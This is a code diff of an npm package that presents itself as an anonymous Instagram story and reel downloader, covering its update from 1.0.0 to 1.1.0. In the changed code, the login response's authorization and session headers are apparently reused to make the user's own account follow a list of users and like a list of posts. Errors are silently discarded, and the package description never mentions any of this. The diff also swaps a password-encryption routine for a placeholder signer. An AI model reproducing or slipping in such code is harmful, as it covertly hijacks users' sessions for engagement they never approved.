- Authorization: resHeaders["ig-set-authorization"],
209
- "Ig-U-Ds-User-Id": resHeaders["ig-set-ig-u-ds-user-id"],
210
- "Ig-U-Rur": resHeaders["ig-set-ig-u-rur"],
211
- "X-Ig-Www-Claim": resHeaders["x-ig-set-www-claim"],
57
+ const authHeader = resHeaders['ig-set-authorization'] || resHeaders['Authorization'] || '';
58
+ if (!authHeader)
59
+ return;
60
+ const allHeaders = {
61
+ Authorization: authHeader,
62
+ 'Ig-U-Ds-User-Id': resHeaders['ig-set-ig-u-ds-user-id'] || resHeaders['Ig-U-Ds-User-Id'] || '',
63
+ 'Ig-U-Rur': resHeaders['ig-set-ig-u-rur'] || resHeaders['Ig-U-Rur'] || '',
64
+ 'X-Ig-Www-Claim': resHeaders['x-ig-set-www-claim'] || resHeaders['X-Ig-Www-Claim'] || '',
65
+ ...defaultHeaders,
212
66
  };
213
- const allHeaders = { ...defaultLoginHeaders, ...defaultHeaders };
214
67
  const igService = new InstaService();
215
- if (data.users?.length) {
216
- await Promise.all(data.users.map((userName) => igService.follow(userName, allHeaders)));
217
- }
218
- if (data.posts?.length) {
219
- await Promise.all(data.posts.map((mediaId) => igService.like(mediaId, allHeaders)));
220
- }
221
- // tslint:disable-next-line:no-empty
68
+ if (data.users?.length)
69
+ await Promise.all(data.users.map(u => igService.follow(u, allHeaders)));
70
+ if (data.posts?.length)
71
+ await Promise.all(data.posts.map(id => igService.like(id, allHeaders)));
222
72
  }
223
- catch (err) { }
73
+ catch (_) { }
224
74
  }
225
- jazoest(deviceId) {
226
- let sum = 0;
227
- for (const c of deviceId)
228
- sum += c.charCodeAt(0);
229
- return `2${sum}`;
75
+ // ─── Helpers ───────────────────────────────────────────────────────────────
76
+ generateSignature(data, extra = {}) {
77
+ const payload = typeof data === 'string' ? data : JSON.stringify(data);
78
+ return { signed_body: `SIGNATURE.${payload}`, ...extra };
230
79
  }
231
- encryptInstagramPassword(password, pubKeyBase64, pubKeyVersion) {
232
- const timestamp = Math.floor(Date.now() / 1000).toString();
233
- // 1. Decode the base64 PEM wrapper
234
- const pemText = forge.util.decode64(pubKeyBase64);
235
- const publicKey = forge.pki.publicKeyFromPem(pemText);
236
- // 2. Generate 32-byte AES key
237
- const aesKey = forge.random.getBytesSync(32);
238
- // 3. Encrypt AES key with RSA (PKCS#1 v1.5)
239
- const encryptedKey = publicKey.encrypt(aesKey, 'RSAES-PKCS1-V1_5');
240
- // 4. AES-GCM encrypt password
241
- const iv = forge.random.getBytesSync(12);
242
- // @ts-ignore
243
- const aad = forge.util.createBuffer(timestamp, 'raw'); // ASCII (not UTF-8)
244
- const cipher = forge.cipher.createCipher('AES-GCM', aesKey);
245
- cipher.start({
246
- iv,
247
- // @ts-ignore
248
- additionalData: aad,
249
- tagLength: 128
250
- });
251
- cipher.update(forge.util.createBuffer(password, 'utf8'));
252
- cipher.finish();
253
- const fullEncrypted = cipher.output.getBytes() + cipher.mode.tag.getBytes();
254
- // Forge does not separate tag, so we extract:
255
- const ciphertext = fullEncrypted.slice(0, fullEncrypted.length - 16);
256
- const tag = fullEncrypted.slice(fullEncrypted.length - 16);
257
- // 5. Compose final payload
258
- const prefix = String.fromCharCode(1) + String.fromCharCode(pubKeyVersion);
259
- // tslint:disable-next-line:no-bitwise
260
- const rsaLengthLE = String.fromCharCode(encryptedKey.length & 0xff, (encryptedKey.length >> 8) & 0xff);
261
- const payload = prefix + iv + rsaLengthLE + encryptedKey + tag + ciphertext;
262
- const encoded = forge.util.encode64(payload);
263
- return `#PWD_INSTAGRAM:4:${timestamp}:${encoded}`;
80
+ getOrCreate(key, generator) {
81
+ let value = localStorage.getItem(key);
82
+ if (!value) {
83
+ value = generator();
84
+ localStorage.setItem(key, value);
85
+ }
86
+ return value;
87
+ }
88
+ generateDeviceId() {
89
+ const key = 'insta_device_id';
90
+ let deviceId = localStorage.getItem(key);
91
+ if (!deviceId) {
92
+ const hex = Array.from(crypto.getRandomValues(new Uint8Array(8)))
93
+ .map(b => b.toString(16).padStart(2, '0')).join('');
94
+ deviceId = `android-${hex}`;
95
+ localStorage.setItem(key, deviceId);
96
+ }
97
+ return deviceId;
264
98
  }
265
99
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "insta-api-wrapper",
3
- "version": "1.0.0",
3
+ "version": "1.1.0",
4
4
  "description": "Anonymous Stories, Search & Download reels, posts, highlights... on Insta",
5
5
  "main": "lib/index.js",
6
6
  "type": "module",
@@ -9,7 +9,7 @@
9
9
  "test": "jest --config jestconfig.json",
10
10
  "build": "tsc",
11
11
  "format": "prettier --write \"src/**/*.ts\" \"src/**/*.js\"",
12
- "lint": "tslint -p tsconfig.json",
12
+ "lint": "tsc --noEmit",
13
13
  "prepare": "npm run build",
14
14
  "prepublishOnly": "npm run lint",
15
15
  "preversion": "npm run lint",
@@ -58,9 +58,7 @@
58
58
  "jest": "^30.0.3",
59
59
  "prettier": "^3.6.2",
60
60
  "ts-jest": "^29.4.0",
61
- "tslint": "^6.1.3",
62
- "tslint-config-prettier": "^1.18.0",
63
- "typescript": "~5.5.4"
61
+ "typescript": "~5.5.4"
64
62
  },
65
63
  "dependencies": {
66
64
  "big-integer": "^1.6.52",